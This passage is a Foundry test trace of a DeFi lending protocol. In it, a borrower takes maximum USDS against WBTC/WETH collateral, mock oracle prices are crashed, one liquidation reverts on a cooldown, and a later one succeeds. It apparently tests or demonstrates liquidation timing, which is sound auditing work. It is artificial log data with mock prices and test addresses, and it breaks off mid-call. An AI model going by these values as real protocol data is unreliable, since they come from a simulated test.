Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 2000000000000000000000 [2e21]) │ │ │ └─ ← true │ │ ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA: 10000000000 [1e10], addedAmountB: 2000000000000000000000 [2e21], addedLiquidity: 2000000000010000000000 [2e21]) │ │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21], 2000000000010000000000 [2e21] │ ├─ [2510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall] │ │ └─ ← true │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [2328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ ├─ emit UserShareIncreased(wallet: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 2000000000010000000000 [2e21]) │ ├─ emit LiquidityDeposited(user: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 10000000000 [1e10], amountB: 2000000000000000000000 [2e21], addedLiquidity: 2000000000010000000000 [2e21]) │ ├─ emit CollateralDeposited(depositor: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, amountWBTC: 10000000000 [1e10], amountWETH: 2000000000000000000000 [2e21], liquidity: 2000000000010000000000 [2e21]) │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21], 2000000000010000000000 [2e21] ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [4703] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [4703] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [148256] CollateralAndLiquidity::depositCollateralAndIncreaseShare(1000000000 [1e9], 200000000000000000000 [2e20], 0, 1706893393 [1.706e9], false) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [20520] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 1000000000 [1e9]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 1000000000 [1e9]) │ │ └─ ← true │ ├─ [20520] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 200000000000000000000 [2e20]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 200000000000000000000 [2e20]) │ │ └─ ← true │ ├─ [22503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 1000000000 [1e9]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 1000000000 [1e9]) │ │ └─ ← true │ ├─ [22503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 200000000000000000000 [2e20]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 200000000000000000000 [2e20]) │ │ └─ ← true │ ├─ [18368] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 1000000000 [1e9], 200000000000000000000 [2e20], 0, 2000000000010000000000 [2e21]) │ │ ├─ [4487] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 1000000000 [1e9]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 1000000000 [1e9]) │ │ │ └─ ← true │ │ ├─ [4487] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 200000000000000000000 [2e20]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 200000000000000000000 [2e20]) │ │ │ └─ ← true │ │ ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA: 1000000000 [1e9], addedAmountB: 200000000000000000000 [2e20], addedLiquidity: 200000000001000000000 [2e20]) │ │ └─ ← 1000000000 [1e9], 200000000000000000000 [2e20], 200000000001000000000 [2e20] │ ├─ [510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall] │ │ └─ ← true │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 200000000001000000000 [2e20]) │ ├─ emit LiquidityDeposited(user: 0x0000000000000000000000000000000000001111, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 1000000000 [1e9], amountB: 200000000000000000000 [2e20], addedLiquidity: 200000000001000000000 [2e20]) │ ├─ emit CollateralDeposited(depositor: 0x0000000000000000000000000000000000001111, amountWBTC: 1000000000 [1e9], amountWETH: 200000000000000000000 [2e20], liquidity: 200000000001000000000 [2e20]) │ └─ ← 1000000000 [1e9], 200000000000000000000 [2e20], 200000000001000000000 [2e20] ├─ [40180] CollateralAndLiquidity::maxBorrowableUSDS(0x0000000000000000000000000000000000001111) [staticcall] │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 11000000000 [1.1e10], 2200000000000000000000 [2.2e21] │ ├─ [16793] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [2326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ └─ ← 29495000000000000000000 [2.949e22] │ ├─ [6107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [2271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ └─ ← 1879000000000000000000 [1.879e21] │ ├─ [2307] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::ac5d1535() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000878678326eac900000 │ ├─ [2328] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::e69800c8() [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000000000000000000000000000c8 │ └─ ← 335375000000000000000000 [3.353e23] ├─ [142022] CollateralAndLiquidity::borrowUSDS(335375000000000000000000 [3.353e23]) │ ├─ [1886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 11000000000 [1.1e10], 2200000000000000000000 [2.2e21] │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ └─ ← 29495000000000000000000 [2.949e22] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ └─ ← 1879000000000000000000 [1.879e21] │ ├─ [307] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::ac5d1535() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000878678326eac900000 │ ├─ [328] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::e69800c8() [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000000000000000000000000000c8 │ ├─ [33153] USDS::mintTo(0x0000000000000000000000000000000000001111, 335375000000000000000000 [3.353e23]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000001111, value: 335375000000000000000000 [3.353e23]) │ │ ├─ emit USDSMinted(to: 0x0000000000000000000000000000000000001111, amount: 335375000000000000000000 [3.353e23]) │ │ └─ ← () │ ├─ emit BorrowedUSDS(borrower: 0x0000000000000000000000000000000000001111, amountBorrowed: 335375000000000000000000 [3.353e23]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [0] VM::warp(1706895193 [1.706e9]) │ └─ ← () ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ └─ ← 29495000000000000000000 [2.949e22] ├─ [5299] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::setBTCPrice(15927300000000000000000 [1.592e22]) │ └─ ← () ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ └─ ← 1879000000000000000000 [1.879e21] ├─ [3298] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::setETHPrice(1014660000000000000000 [1.014e21]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [15478] CollateralAndLiquidity::canUserBeLiquidated(0x0000000000000000000000000000000000001111) [staticcall] │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 11000000000 [1.1e10], 2200000000000000000000 [2.2e21] │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ └─ ← 15927300000000000000000 [1.592e22] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ └─ ← 1014660000000000000000 [1.014e21] │ ├─ [2329] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::7fb93ade() [staticcall] │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000000006e │ └─ ← true ├─ [0] VM::prank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [0] VM::expectRevert() │ └─ ← () ├─ [73578] CollateralAndLiquidity::liquidateUser(0x0000000000000000000000000000000000001111) │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 11000000000 [1.1e10], 2200000000000000000000 [2.2e21] │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ └─ ← 15927300000000000000000 [1.592e22] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ └─ ← 1014660000000000000000 [1.014e21] │ ├─ [329] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::7fb93ade() [staticcall] │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000000006e │ ├─ [54672] Pools::removeLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 200000000001000000000 [2e20], 0, 0, 2200000000011000000000 [2.2e21]) │ │ ├─ [22934] TestERC20::transfer(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 1000000000 [1e9]) │ │ │ ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 1000000000 [1e9]) │ │ │ └─ ← true │ │ ├─ [22934] TestERC20::transfer(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 200000000000000000000 [2e20]) │ │ │ ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 200000000000000000000 [2e20]) │ │ │ └─ ← true │ │ ├─ emit LiquidityRemoved(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], reclaimedA: 1000000000 [1e9], reclaimedB: 200000000000000000000 [2e20], removedLiquidity: 200000000001000000000 [2e20]) │ │ └─ ← 1000000000 [1e9], 200000000000000000000 [2e20] │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ └─ ← "Must wait for the cooldown to expire" ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [0] VM::warp(1706896993 [1.706e9]) │ └─ ← () ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ └─ ← 15927300000000000000000 [1.592e22] ├─ [499] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::setBTCPrice(3185460000000000000000 [3.185e21]) │ └─ ← () ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ └─ ← 1014660000000000000000 [1.014e21] ├─ [498] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::setETHPrice(202932000000000000000 [2.029e20]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [12413] CollateralAndLiquidity::userCollateralValueInUSD(0x0000000000000000000000000000000000001111) [staticcall] │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 11000000000 [1.1e10], 2200000000000000000000 [2.2e21] │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ └─ ← 3185460000000000000000 [3.185e21] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ └─ ← 202932000000000000000 [2.029e20] │ └─ ← 72441000000000000000000 [7.244e22] ├─ [558] CollateralAndLiquidity::usdsBorrowedByUsers(0x0000000000000000000000000000000000001111) [staticcall] │ └─ ← 335375000000000000000000 [3.353e23] ├─ [0] VM::prank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [161373] CollateralAndLiquidity::liquidateUser(0x0000000000000000000000000000000000001111) │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 11000000000 [1.1e10], 2200000000000000000000 [2.2e21] │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ └─ ← 3185460000000000000000 [3.185e21] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ └─ ← 202932000000000000000 [2.029e20] │ ├─ [329] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::7fb93ade() [staticcall] │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000000006e │ ├─ [54672] Pools::removeLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 200000000001000000000 [2e20], 0, 0, 2200000000011000000000 [2.2e21]) │ │ ├─ [22934] TestERC20::transfer(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 1000000000 [1e9]) │ │ │ ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 1000000000 [1e9]) │ │ │ └─ ← true │ │ ├─ [22934] TestERC20::transfer(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 200000000000000000000 [2e20]) │ │ │ ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 200000000000000000000 [2e20]) │ │ │ └─ ← true │ │ ├─ emit LiquidityRemoved(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], reclaimedA: 1000000000 [1e9], reclaimedB: 200000000000000000000 [2e20], removedLiquidity: 200000000001000000000 [2e20]) │ │ └─ ← 1000000000 [1e9], 200000000000000000000 [2e20] │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountDecreased: 200000000001000000000 [2e20], claimedRewards: 0) │ ├─ [2373] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::91e7cdbc() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000005 │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 3185460000000000000000 [3.185e21] │ │ └─ ← 3185460000000000000000 [3.185e21] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 202932000000000000000 [2.029e20] │ │ └─ ← 202932000000000000000 [2.029e20] │ ├─ [2372] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::fab706bb() [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000000000001b1ae4d6e2ef500000 │ ├─ [7834] TestERC20::transfer(0x0000000000000000000000000000000000002222, 6902168 [6.902e6]) │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: 0x0000000000000000000000000000000000002222, value: 6902168 [6.902e6]) │ │ └─ ← true │ ├─ [7834] TestERC20::transfer(0x0000000000000000000000000000000000002222, 1380433732278681961 [1.38e18]) │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: 0x0000000000000000000000000000000000002222, value: 1380433732278681961 [1.38e18]) │ │ └─ ← true │ ├─ [19948] TestERC20::transfer(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 993097832 [9.93e8]) │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 993097832 [9.93e8]) │ │ └─ ← true │ ├─ [19948] TestERC20::transfer(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 198619566267721318039 [1.986e20]) │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 198619566267721318039 [1.986e20]) │ │ └─ ← true │ ├─ [25756] Liquidizer::incrementBurnableUSDS(335375000000000000000000 